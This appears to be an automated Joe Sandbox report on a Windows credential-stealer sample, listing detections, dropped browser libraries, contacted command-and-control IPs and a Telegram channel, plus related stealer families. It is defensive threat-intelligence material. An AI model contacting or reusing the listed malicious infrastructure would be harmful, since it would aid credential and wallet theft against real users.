This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label
NJna3TEAEr.exe	50%	ReversingLabs	Win32.Trojan.Generic
NJna3TEAEr.exe	100%	Avira	TR/Crypt.XPACK.Gen7
NJna3TEAEr.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#	0%	URL Reputation	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#	0%	URL Reputation	safe
https://sectigo.com/CPS0	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	0%	URL Reputation	safe
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
t.me	149.154.167.99	true	true		unknown

Contacted URLs

Name	Malicious	Reputation
http://193.233.112.44/0853a005e18f0946/softokn3.dll	true	unknown
http://193.233.112.44/	true	unknown
https://t.me/hwlflcqshvwp/383ccd496f3c5eee.php	true	unknown
http://91.214.78.145/	false	unknown
http://193.233.112.44/0853a005e18f0946/nss3.dll	true	unknown
https://t.me/hwlflcqshvwp	true	unknown
http://193.233.112.44/0853a005e18f0946/msvcp140.dll	true	unknown
http://193.233.112.44/0853a005e18f0946/freebl3.dll	true	unknown
http://193.233.112.44/383ccd496f3c5eee.php	true	unknown
http://193.233.112.44/0853a005e18f0946/vcruntime140.dll	true	unknown
http://193.233.112.44/0853a005e18f0946/mozglue.dll	true	unknown
http://193.233.112.44/0853a005e18f0946/sqlite3.dll	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	NJna3TEAEr.exe, 00000000.00000003.2099769186.0000000001724000.00000004.00000020.00020000.00000000.sdmp, AKKFHDAK.0.dr	false	URL Reputation: safe	unknown
https://t.me/	NJna3TEAEr.exe, 00000000.00000002.2478224507.00000000016AF000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://duckduckgo.com/ac/?q=	NJna3TEAEr.exe, 00000000.00000003.2099769186.0000000001724000.00000004.00000020.00020000.00000000.sdmp, AKKFHDAK.0.dr	false	URL Reputation: safe	unknown
http://193.233.112.44/383ccd496f3c5eee.phpH	NJna3TEAEr.exe, 00000000.00000002.2499103490.0000000033DF0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#	NJna3TEAEr.exe	false	URL Reputation: safe	unknown
http://ocsp.sectigo.com0	NJna3TEAEr.exe	false	URL Reputation: safe	unknown
https://web.telegram.org	NJna3TEAEr.exe, 00000000.00000003.2021420226.00000000016C8000.00000004.00000020.00020000.00000000.sdmp, NJna3TEAEr.exe, 00000000.00000002.2478224507.0000000001690000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	FBKEHJEGCFBFHJJKJEHD.0.dr	false		unknown
http://193.233.112.44/383ccd496f3c5eee.php#j	NJna3TEAEr.exe, 00000000.00000002.2478224507.00000000016AF000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	NJna3TEAEr.exe, 00000000.00000002.2494162707.0000000027CC2000.00000004.00000020.00020000.00000000.sdmp, FBKEHJEGCFBFHJJKJEHD.0.dr	false	URL Reputation: safe	unknown
https://t.me/hwlflcqshvwpi5	NJna3TEAEr.exe, 00000000.00000002.2478224507.000000000164E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://193.233.112.44/383ccd496f3c5eee.php?k	NJna3TEAEr.exe, 00000000.00000002.2478224507.00000000016AF000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	NJna3TEAEr.exe, 00000000.00000003.2099769186.0000000001724000.00000004.00000020.00020000.00000000.sdmp, AKKFHDAK.0.dr	false	URL Reputation: safe	unknown
http://193.233.112.44/383ccd496f3c5eee.phpindows	NJna3TEAEr.exe, 00000000.00000002.2478224507.00000000016AF000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://193.233.112.44/383ccd496f3c5eee.php9	NJna3TEAEr.exe, 00000000.00000002.2499103490.0000000033DF0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://193.233.112.44/383ccd496f3c5eee.php3k	NJna3TEAEr.exe, 00000000.00000002.2478224507.00000000016AF000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://91.214.78.145	NJna3TEAEr.exe, 00000000.00000002.2478224507.0000000001690000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://193.233.112.44/0853a005e18f0946/mozglue.dll0	NJna3TEAEr.exe, 00000000.00000002.2478224507.0000000001690000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0	NJna3TEAEr.exe	false	URL Reputation: safe	unknown
http://193.233.112.44/0853a005e18f0946/nss3.dllg	NJna3TEAEr.exe, 00000000.00000002.2478224507.000000000171F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://193.233.112.44/383ccd496f3c5eee.phpKj	NJna3TEAEr.exe, 00000000.00000002.2478224507.00000000016AF000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://193.233.112.44/383ccd496f3c5eee.phpj	NJna3TEAEr.exe, 00000000.00000002.2494162707.0000000027CC2000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://193.233.112.44/383ccd496f3c5eee.phps	NJna3TEAEr.exe, 00000000.00000002.2499103490.0000000033E21000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://t.me/T	NJna3TEAEr.exe, 00000000.00000002.2478224507.00000000016AF000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://193.233.112.44/383ccd496f3c5eee.phpnfigOverlay	NJna3TEAEr.exe, 00000000.00000002.2494162707.0000000027CC2000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://193.233.112.44/383ccd496f3c5eee.phpwser	NJna3TEAEr.exe, 00000000.00000002.2478224507.00000000016AF000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	NJna3TEAEr.exe, 00000000.00000003.2099769186.0000000001724000.00000004.00000020.00020000.00000000.sdmp, AKKFHDAK.0.dr	false	URL Reputation: safe	unknown
http://193.233.112.44/383ccd496f3c5eee.phpp	NJna3TEAEr.exe, 00000000.00000002.2494162707.0000000027CC2000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://193.233.112.44/0853a005e18f0946/freebl3.dllx	NJna3TEAEr.exe, 00000000.00000002.2478224507.0000000001690000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://193.233.112.44/383ccd496f3c5eee.phpc	NJna3TEAEr.exe, 00000000.00000002.2494162707.0000000027CC2000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://193.233.112.44/383ccd496f3c5eee.phpWj	NJna3TEAEr.exe, 00000000.00000002.2478224507.00000000016AF000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://193.233.112.44/0853a005e18f0946/softokn3.dll&	NJna3TEAEr.exe, 00000000.00000002.2478224507.0000000001690000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.sqlite.org/copyright.html.	NJna3TEAEr.exe, 00000000.00000002.2499905286.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, NJna3TEAEr.exe, 00000000.00000002.2489031140.000000001BBB4000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://193.233.112.44/383ccd496f3c5eee.phpb	NJna3TEAEr.exe, 00000000.00000002.2499103490.0000000033DF0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#	NJna3TEAEr.exe	false	URL Reputation: safe	unknown
http://www.mozilla.com/en-US/blocklist/	NJna3TEAEr.exe, NJna3TEAEr.exe, 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		unknown
https://t.me/hwlflcqshvwp:	NJna3TEAEr.exe, 00000000.00000002.2478224507.000000000164E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://sectigo.com/CPS0	NJna3TEAEr.exe	false	URL Reputation: safe	unknown
http://193.233.12	NJna3TEAEr.exe, 00000000.00000002.2499103490.0000000033DF0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	NJna3TEAEr.exe, 00000000.00000003.2099769186.0000000001724000.00000004.00000020.00020000.00000000.sdmp, AKKFHDAK.0.dr	false		unknown
http://193.233.112.44	NJna3TEAEr.exe, 00000000.00000002.2478224507.000000000164E000.00000004.00000020.00020000.00000000.sdmp, NJna3TEAEr.exe, 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmp	true		unknown
http://193.233.112.44/y	NJna3TEAEr.exe, 00000000.00000002.2478224507.00000000016AF000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://193.233.112.44/383ccd496f3c5eee.phpnts	NJna3TEAEr.exe, 00000000.00000002.2494162707.0000000027CC2000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	NJna3TEAEr.exe, 00000000.00000003.2099769186.0000000001724000.00000004.00000020.00020000.00000000.sdmp, AKKFHDAK.0.dr	false	URL Reputation: safe	unknown
http://193.233.112.44383ccd496f3c5eee.phpdf6f2e2e1bb7ac40e04ec15ba23e52t8ZWpiYWxiYWtvcGxjaGxnaGVjZGF	NJna3TEAEr.exe, 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmp	false		unknown
http://www.microsoft.	NJna3TEAEr.exe, 00000000.00000003.2021420226.00000000016C8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	NJna3TEAEr.exe, 00000000.00000003.2099769186.0000000001724000.00000004.00000020.00020000.00000000.sdmp, AKKFHDAK.0.dr	false	URL Reputation: safe	unknown
http://193.233.112.44/0853a005e18f0946/nss3.dll)	NJna3TEAEr.exe, 00000000.00000002.2478224507.000000000171F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	NJna3TEAEr.exe, 00000000.00000002.2494162707.0000000027CC2000.00000004.00000020.00020000.00000000.sdmp, FBKEHJEGCFBFHJJKJEHD.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	EGHCBKKKFHCGCBFIJEHDGIDGCF.0.dr	false	URL Reputation: safe	unknown
http://193.233.112.44/0853a005e18f0946/nss3.dll/	NJna3TEAEr.exe, 00000000.00000002.2478224507.0000000001690000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://193.233.112.44/383ccd496f3c5eee.phpsj	NJna3TEAEr.exe, 00000000.00000002.2478224507.00000000016AF000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ac.ecosia.org/autocomplete?q=	NJna3TEAEr.exe, 00000000.00000003.2099769186.0000000001724000.00000004.00000020.00020000.00000000.sdmp, AKKFHDAK.0.dr	false	URL Reputation: safe	unknown
http://193.233.112.44/383ccd496f3c5eee.php=----2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZG	NJna3TEAEr.exe, 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmp	false		unknown
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	NJna3TEAEr.exe, 00000000.00000002.2494162707.0000000027CC2000.00000004.00000020.00020000.00000000.sdmp, FBKEHJEGCFBFHJJKJEHD.0.dr	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	NJna3TEAEr.exe, 00000000.00000002.2494162707.0000000027CC2000.00000004.00000020.00020000.00000000.sdmp, FBKEHJEGCFBFHJJKJEHD.0.dr	false	URL Reputation: safe	unknown
http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z	NJna3TEAEr.exe	false	URL Reputation: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	EGHCBKKKFHCGCBFIJEHDGIDGCF.0.dr	false	URL Reputation: safe	unknown
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	NJna3TEAEr.exe, 00000000.00000002.2494162707.0000000027CC2000.00000004.00000020.00020000.00000000.sdmp, FBKEHJEGCFBFHJJKJEHD.0.dr	false	URL Reputation: safe	unknown
http://91.214.78.145/W	NJna3TEAEr.exe, 00000000.00000002.2478224507.0000000001690000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://t.me/hwlflcqshvwp)	NJna3TEAEr.exe, 00000000.00000003.2021420226.00000000016C8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	NJna3TEAEr.exe, 00000000.00000002.2494162707.0000000027CC2000.00000004.00000020.00020000.00000000.sdmp, FBKEHJEGCFBFHJJKJEHD.0.dr	false		unknown
https://support.mozilla.org	EGHCBKKKFHCGCBFIJEHDGIDGCF.0.dr	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	NJna3TEAEr.exe, 00000000.00000003.2099769186.0000000001724000.00000004.00000020.00020000.00000000.sdmp, AKKFHDAK.0.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
91.214.78.145	unknown	Russian Federation	49373	FOTONTELECOM-STUB-ASFOTONTELECOMRU	false
193.233.112.44	unknown	Russian Federation	20549	FREE-MPEIRU	true
149.154.167.99	t.me	United Kingdom	62041	TELEGRAMRU	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1525241
Start date and time:	2024-10-03 23:16:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 55s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	NJna3TEAEr.exe renamed because original name is a hash value
Original Sample Name:	c57f035e099bfe7f8d56917a22266dc9.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/38@1/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 89 Number of non-executed functions: 114
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: NJna3TEAEr.exe

Simulations

Behavior and APIs

⊘No simulations

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.99	http://xn--r1a.website/s/ogorodru	Get hash	malicious	Unknown	Browse	telegram.org/img/favicon.ico
	http://cryptorabotakzz.com/	Get hash	malicious	Unknown	Browse	telegram.org/
	http://cache.netflix.com.id1.wuush.us.kg/	Get hash	malicious	Unknown	Browse	telegram.org/dl?tme=fe3233c08ff79d4814_5062105595184761217
	http://investors.spotify.com.sg2.wuush.us.kg/	Get hash	malicious	Unknown	Browse	telegram.org/
	http://bekaaviator.kz/	Get hash	malicious	Unknown	Browse	telegram.org/
	http://telegramtw1.org/	Get hash	malicious	Unknown	Browse	telegram.org/?setln=pl
	http://makkko.kz/	Get hash	malicious	Unknown	Browse	telegram.org/
	http://telegram.dog	Get hash	malicious	Unknown	Browse	telegram.dog/
	LnSNtO8JIa.exe	Get hash	malicious	Cinoshi Stealer	Browse	t.me/cinoshibot
	jtfCFDmLdX.exe	Get hash	malicious	Gurcu Stealer, PrivateLoader, RedLine, RisePro Stealer, SmokeLoader, zgRAT	Browse	t.me/cinoshibot

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
t.me	gp4uQBDTP8.exe	Get hash	malicious	Xehook Stealer	Browse	149.154.167.99
	dNNMgwxY4f.exe	Get hash	malicious	Xehook Stealer	Browse	149.154.167.99
	tcU5sAPsAc.exe	Get hash	malicious	RedLine	Browse	149.154.167.99
	https://thebrasilians.hosted.phplist.com/lists/lt.php?tid=KkkFBgMBXQUHUEsCB1QHTwZWAFYbCQpVBx0EBQABCgADAgJXVl1FVAIAUVFdUVhPBgUCVBsEA1JVHQ8BW1cUUAQGV1cBAF1aUgNQHVAHBFEFBgVRGwEAVQEdAlcLUBQKBAEDHlMAAVILAVBQBwUDBA	Get hash	malicious	Unknown	Browse	50.6.153.166
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	149.154.167.99
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	149.154.167.99
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	149.154.167.99
	https://linke.to/pkmlogistics	Get hash	malicious	Unknown	Browse	162.159.153.4
	https://form.asana.com/?k=SVzOAgf254NWBNm-dO6Wfg&d=1208255323046871	Get hash	malicious	Unknown	Browse	50.6.153.2
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	149.154.167.99

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	enigma.tech.exe	Get hash	malicious	Blank Grabber	Browse	149.154.167.220
	1.cmd	Get hash	malicious	Unknown	Browse	149.154.167.220
	2.cmd	Get hash	malicious	Unknown	Browse	149.154.167.220
	gp4uQBDTP8.exe	Get hash	malicious	Xehook Stealer	Browse	149.154.167.99
	dNNMgwxY4f.exe	Get hash	malicious	Xehook Stealer	Browse	149.154.167.99
	KBGC_1200O000000_98756.docx.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	GeriOdemeBildirimi942.rar.xlxs.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	08(2)_00.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	Hesaphareketi-01.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	hesaphareketi-01.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
FOTONTELECOM-STUB-ASFOTONTELECOMRU	kQ6mFXrgYq.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	91.214.78.75
	PQmAnagsLM.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	91.214.78.75
	z10Original-Copy.bat.exe	Get hash	malicious	Remcos	Browse	91.214.78.17
FREE-MPEIRU	file.exe	Get hash	malicious	Stealc	Browse	193.233.113.184
	file.exe	Get hash	malicious	Stealc	Browse	193.233.113.184
	file.exe	Get hash	malicious	Stealc	Browse	193.233.113.184
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	193.233.113.184
	SecuriteInfo.com.Trojan.Crypt.23519.13317.exe	Get hash	malicious	Unknown	Browse	193.233.121.52
	file.exe	Get hash	malicious	DCRat	Browse	193.233.115.185
	BitTorrent-7.6.exe	Get hash	malicious	Unknown	Browse	193.233.122.71
	https://test.ambasenegal-pl.com/base.php?c=17&key=66bf6845dbd8f0d53e07b779f6ab8f38	Get hash	malicious	Unknown	Browse	193.233.84.115
	https://test.ambasenegal-pl.com/base.php?c=17&key=66bf6845dbd8f0d53e07b779f6ab8f38	Get hash	malicious	Phisher	Browse	193.233.84.115
	https://vpnassdsd1.blob.core.windows.net/vpnassdsd1/unsD.html#9-FFJWW/11-9623-VPOIK/746-001437-16337	Get hash	malicious	Unknown	Browse	193.233.84.175

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	rpedido-002297.exe	Get hash	malicious	FormBook, GuLoader	Browse	149.154.167.99
	app__v7.5.3_.msi	Get hash	malicious	Unknown	Browse	149.154.167.99
	WarzoneCheat.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	149.154.167.99
	FACTURA-002297.exe	Get hash	malicious	FormBook, GuLoader	Browse	149.154.167.99
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	149.154.167.99
	Layer.exe	Get hash	malicious	Unknown	Browse	149.154.167.99
	Layer.exe	Get hash	malicious	Unknown	Browse	149.154.167.99
	file.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	24100311.EXE.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	149.154.167.99
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	149.154.167.99

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse

Created / dropped Files

C:\ProgramData\AKKFHDAK

Download File

Process:	C:\Users\user\Desktop\NJna3TEAEr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BJZFPPWAPT.png

Download File

Process:	C:\Users\user\Desktop\NJna3TEAEr.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.704346314649071
Encrypted:	false
SSDEEP:	24:XPzUwxdkbbeZScSZIv3ZoJNWhjcfzkabZsHx:fzUwx4bK+W/+fzuR
MD5:	8B66CD8FCBCEB253D75DB5CDE6291FA2
SHA1:	6CE0386190B9753849299B268AA7B8D15F9F72E2
SHA-256:	51AD0E037F53D8EEDFEBC58112BDFA30796A0A56FBD31B65384B41896489BDB4
SHA-512:	7C46027769E82ACD4E3ACB038FB80E34792E81B0527AE318194FE22BD066699A86E9B3E55AC5A1BCAC005FE0E8B7FB70B041656DF78BF84983A97CEDAA8861DC
Malicious:	false
Reputation:	moderate, very likely benign file
